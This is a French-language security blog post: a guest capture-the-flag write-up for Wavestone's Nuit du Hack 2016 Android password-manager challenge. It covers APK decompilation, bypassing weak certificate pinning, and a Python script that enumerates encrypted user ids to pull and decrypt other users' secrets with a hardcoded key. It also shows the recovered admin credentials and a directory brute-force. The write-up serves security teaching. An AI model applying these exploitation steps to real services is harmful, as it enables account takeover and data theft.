SecurityInsider
Le blog des experts sécurité Wavestone

Write-up challenge Nuit du Hack 2016



Wavestone était présent en tant que sponsor à la Nuit du Hack 2016 et a organisé pour l’occasion un challenge autour d’une application mobile, pour lequel plusieurs lots étaient à remporter :

Le grand gagnant de challenge, Nicolas Devillers consultant sécurité au sein de la société Lexfo, nous propose sa solution détaillée à travers cet article invité sur SecurityInsider

L’épreuve consiste en l’analyse d’un APK disponible via l’adresse :

Après l’avoir téléchargé et décompressé on procède de manière classique: on décompile et on analyse le classes.dex en utilisant jd-gui [1] et dex2jar [2].
$ wget --no-check-certificate https://52.41.208.29/solupass.apk
$ unzip solupass.apk -d solupass
$ ~/tools/android/dex2jar-0.0.9.15/dex2jar.sh solupass/classes.dex


En parallèle on démarre un proxy d’interception HTTP (burp-suite) ainsi que l’émulateur Android.
$ java -jar ~/tools/burp/burp.jar
$ ./emulator -avd nexus -http-proxy 127.0.0.1:8080

On réalise par la suite l’installation de l’APK sur l’émulateur en utilisant ADB.
$ adb install solucom.apk

On démarre enfin l’application. Celle-ci consiste en un gestionnaire de mot de passe. Elle exploite un WebService dont les URLs sont situées sur :


Après avoir créé un utilisateur sur l’application, il est possible d’y sauvegarder ou importer des mots de passe via un WebService.

Les fonctions ainsi que les endpoints permettant d’interroger le WebService sont visibles dans la classe Webservice.class :



On y constate que l’application réalise du “certificate pinning” pauvre en s’appuyant uniquement sur l’attribut “issuer” du certificat:
SoluSSLSocketFactory(localKeyStore, new SoluTrustManager("CN=NDH2K16,OU=Solucom,O=Solucom,L=Paris,ST=IDF,C=FR"));
A ce stade on souhaite réaliser une interception SSL pour voir les requêtes qui sont passées au WebService par l’application ce qui gagnerait du temps de compréhension.

On pourrait alors patcher l’application en baksmali et la régénérer mais comme on est un peu pressé, On génère plutôt un certificat SSL qui match le même issuer avec easy-rsa/openssl.
On modifie le fichier easy-rsa/vars avec les variables suivantes:

KEY_COUNTRY="FR"
KEY_PROVINCE="IDF"
KEY_CITY="Paris"
KEY_ORG="Solucom"
KEY_EMAIL=""
KEY_OU="Solucom"
$./build-ca

Une fois un certificat pkcs12 généré, on le donne à manger à burp-suite.

La fonction d’import nous intéresse en premier lieu. On voit qu’elle transmet un id utilisateur sous forme chiffré, on pense donc rapidement à une élévation de privilège horizontale.
Le paramètre transmis dans la méthode “importSoluPass” provient de paramUser.getCipherId().
En analysant la méthode UserAlgo.chiffre(), on constate que l’id utilisateur est chiffré en AES/CBC avec un IV nul et une clé ayant pour valeur la session en base64 transmise par le serveur lors de la connexion :


En analysant la méthode réalisant le chiffrement des mots de passe transmis au serveur PassAlgo.chiffre() on constate que celle-ci utilise une clé hardcodée dans l’APK et donc la même pour tous les utilisateurs :



On devine qu’il va falloir exploiter ces 2 vulnérabilités afin d’obtenir le flag. Élévation horizontale sur le Web-Service afin d’obtenir le mot de passe chiffré d’un autre utilisateur. Puis, utilisation de la clé hardcodée afin de le déchiffrer.



Lors de la création de nos utilisateurs de test sur le WebService, on constate qu’ils ont pour id utilisateur des nombres supérieur à 500 qui s’incrémentent. Puisqu’on cherche à obtenir le secret d’un utilisateur antérieur, on va donc itérer sur les id utilisateurs en partant de notre id afin d’obtenir celui d’un utilisateur plus récent.

On sort un script python un peu sale auquel on passe notre session afin d’avoir une clé pour chiffrer des ID ainsi que la clé hardcodée dans l’APK permettant de déchiffrer les secrets. On décrémente les ID en partant de 510 jusqu’à 0 en espérant obtenir un mot de passe intéressant :

from Crypto.Cipher import AES
import base64
import os
import requests
import json
BLOCK_SIZE = 16
PADDING = "\xEB"
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
secret = "bMAKTsV0WwyJTBS_"
cipher = AES.new(secret)
secretgeneric = "w34kcryp7015func"
IV= "\x00"*16
for i in xrange(0,510,-1):
    genericcipher = AES.new(secretgeneric, AES.MODE_CBC, IV)
    print "User: " + str(i)
    userid = EncodeAES(cipher, str(i).zfill(16))
    session = requests.Session()
    paramsGet = {"id": userid+"\n"}
    headers = {"Cookie2":"$Version=1","Connection":"close"}
    cookies = {"session":"eyJzZXNzaW9uX2tleSI6eyIgYiI6IldXc3hRbE14VW5wV2FrSllaRE5zUzFaRlNsUllkejA5In0sInVzZXJfaWQiOjUxNX0.CllDpw.nv2UMe07QraOjocQJFb9l1ujmX8"}
    response = session.get("https://52.41.208.29/ws/import", params=paramsGet, headers=headers, cookies=cookies, verify=False)
    fu = json.loads(response.content)
    encrypted =  fu['solupass']
    if encrypted == "n+IRW58OlIaLMno0P79FbA==":
        continue
    print "User " + str(i) + " Decoding: " + encrypted
    print "Store " + repr(genericcipher.decrypt(base64.b64decode(encrypted)))

Le script nous donne finalement ce secret intéressant avec l’utilisateur 250 !
{"admin", "password": "yHBb!jchxupaWz", "description": "web admin cr3dz"}

Malheureusement celui-ci ne permet pas de se connecter sur le WebService avec des fonctions supplémentaires.

En regardant le fichier robots.txt on obtient une grande quantité de répertoire ou entrées. On réalise donc une attaque par dictionnaire sur celui-ci afin de découvrir les URLs existantes en utilisant le fichier robots.txt comme dictionnaire.
$ wget https://52.41.208.29/robots.txt|cut -d':' -f2|tr -d ' ' > dico

On découvre finalement l’url /admin-panel qui nous donne le flag après avoir utilisé les identifiants précédemment obtenus:

{FLAG}[89ce171a94df08c7ee9ff1849aaad4f9]

Il était également possible d’obtenir cette url en déchiffrant le binaire présent sur le flyer du challenge:
001011110110000101100100011011010110100101101110001011010111000001100001011011100110010101101100
Un grand merci à Wavestone pour ce challenge NDH plutôt réaliste et présentant la particularité de ne pas contenir de morse ou de base24 ;)

References


Encore bravo à Nicolas qui a gagné la montre connectée Pebble, aux autres équipes ayant remporté le drone et l’antenne WiFi Alfa, ainsi qu’à tous les autres participants !

Aucun commentaire:

Enregistrer un commentaire